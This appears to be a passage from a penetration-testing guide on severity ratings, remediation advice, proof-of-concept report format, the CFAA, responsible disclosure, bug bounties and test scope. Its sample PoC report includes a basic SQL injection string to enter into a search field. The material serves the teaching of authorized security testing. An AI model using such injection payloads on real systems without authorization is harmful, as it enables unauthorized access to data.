Critical9.0 - 10.0Immediate risk of system compromiseRemote code execution, authentication bypass
High7.0 - 8.9Significant risk, likely exploitableSQL injection, privilege escalation
Medium4.0 - 6.9Moderate risk, requires specific conditionsXSS, CSRF, information disclosure
Low0.1 - 3.9Minimal risk, limited impactInformation leakage, verbose errors
Informational0.0No direct risk, but worth notingMissing security headers, cookie flags
Effective remediation guidance:
1. Be specific: "Upgrade OpenSSL to version 3.0.1 or later" not "fix OpenSSL"
2. Provide context: Explain why the vulnerability matters in the client's environment
3. Offer alternatives: If immediate upgrade is not possible, suggest compensating controls
4. Prioritize: Clearly state which remediation actions should happen first
5. Reference standards: Link to CWE, NIST, CIS benchmarks where applicable
6. Estimate effort: Give a rough idea of remediation complexity (low/medium/high)
7. Include verification: How to confirm the fix is effective
PoC requirements:
1. Reproducible: Anyone can follow the steps and reproduce the finding
2. Minimal: Demonstrate the issue without causing unnecessary impact
3. Clear: Step-by-step instructions with expected and actual results
4. Documented: Include timestamps, request/response data, screenshots
5. Contained: Do not access or modify more data than necessary to demonstrate
Example PoC format:
Title: SQL Injection in Search Functionality
Severity: Critical
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-89
Steps to reproduce:
1. Navigate to https://target.com/search
2. Enter the following in the search field: " OR 1=1--
3. Observe that the query returns all records from the database
Expected result: Search should return no results or an error message
Actual result: All database records are returned, confirming SQL injection
Evidence:
[Include HTTP request/response, screenshots]
Remediation:
Use parameterized queries. Replace string concatenation with prepared statements.
Reference: OWASP SQL Injection Prevention Cheat Sheet

The CFAA (18 U.S.C. Section 1030) is the primary federal law criminalizing unauthorized computer Access in the United States.

Key CFAA provisions:
- 18 U.S.C. 1030(a)(2): Intentionally accessing a computer without authorization
or exceeding authorized access, obtaining information
- 18 U.S.C. 1030(a)(3): Intentionally accessing a non-public government computer
- 18 U.S.C. 1030(a)(4): Knowingly accessing a computer with intent to defraud
- 18 U.S.C. 1030(a)(5): Intentionally causing damage to a computer
- Penalties: Fines and imprisonment (up to 10+ years for repeat offenses)
Key case law implications:
- "Without authorization" and "exceeding authorized access" are broadly interpreted
- Violating terms of service may constitute exceeding authorized access
- Even well-intentioned security research can be prosecuted
- Written authorization is the strongest defense

The legal landscape around security research is evolving. The DOJ updated its CFAA charging policy In 2022 to clarify that “good faith” security research is generally not subject to prosecution. However, this is a charging policy, not a legal defense, and does not change the statutory text. Always obtain written authorization before testing.

Definition. Responsible disclosure is the practice of privately reporting vulnerabilities to the Affected vendor, giving them a reasonable timeframe to fix the issue before public disclosure.

Standard responsible disclosure timeline:
1. Discover vulnerability
2. Report privately to vendor (security@vendor.com, security.txt)
3. Wait for vendor acknowledgment (typically 5 business days)
4. Vendor develops and tests fix (typically 90 days)
5. Coordinated public disclosure after fix is available
6. If vendor is unresponsive after 90 days, consider public disclosure
Factors that affect timeline:
- Severity of the vulnerability (critical = shorter timeline)
- Active exploitation in the wild (shorten timeline)
- Vendor responsiveness (extend if engaged, shorten if unresponsive)
- Complexity of the fix (extend if remediation is genuinely difficult)
- Number of affected users (scale remediation effort)

Bug bounty programs provide a legal, structured framework for security researchers to report Vulnerabilities in exchange for monetary rewards.

PlatformModelNotable Participants
HackerOneThird-partyGoogle, Uber, GitHub, US DoD
BugcrowdThird-partyAtlassian, Mastercard, Pinterest
IntigritiThird-partyEuropean focus, Philips, Airbus
YesWeHackThird-partyEuropean focus, SNCF, Air France
Google VRPDirectGoogle products
Microsoft MSRCDirectMicrosoft products
Apple Security BountyDirectApple products
Bug bounty best practices:
1. Read the program scope carefully -- test only in-scope assets
2. Respect the program rules -- do not test social engineering unless explicitly allowed
3. Report through the platform -- do not contact the company directly
4. Provide clear reproduction steps -- include all necessary details
5. Do not access PII -- demonstrate the vulnerability without exposing user data
6. Wait for triage -- do not publicly disclose before the program responds
7. Be professional -- maintain a respectful tone in all communications
8. Document everything -- screenshots, HTTP requests/responses, video if helpful
Common scope limitations:
- In-scope: Specific IP ranges, domains, applications
- Out-of-scope: Third-party services, physical access, social engineering
- Safe harbor: Testing within scope is protected; outside scope is not
- Rate limiting: Do not perform denial of service
- Data handling: Do not access, store, or exfiltrate user data
- Reporting: Report through designated channels only
- Public disclosure: Do not disclose before coordinated date

Testing systems or functionality outside the agreed scope is one of the most serious mistakes a Penetration tester can make. It violates the legal authorization and can result in criminal Liability.

Examples of going out of scope:
- Testing a domain that was not listed in scope
- Scanning IP ranges beyond the authorized block
- Attempting to exploit a system after the testing window has closed
- Testing a third-party service integrated with the target
- Performing social engineering when it was not authorized
- Physical access testing when only remote testing was authorized
- Accessing databases not explicitly listed in scope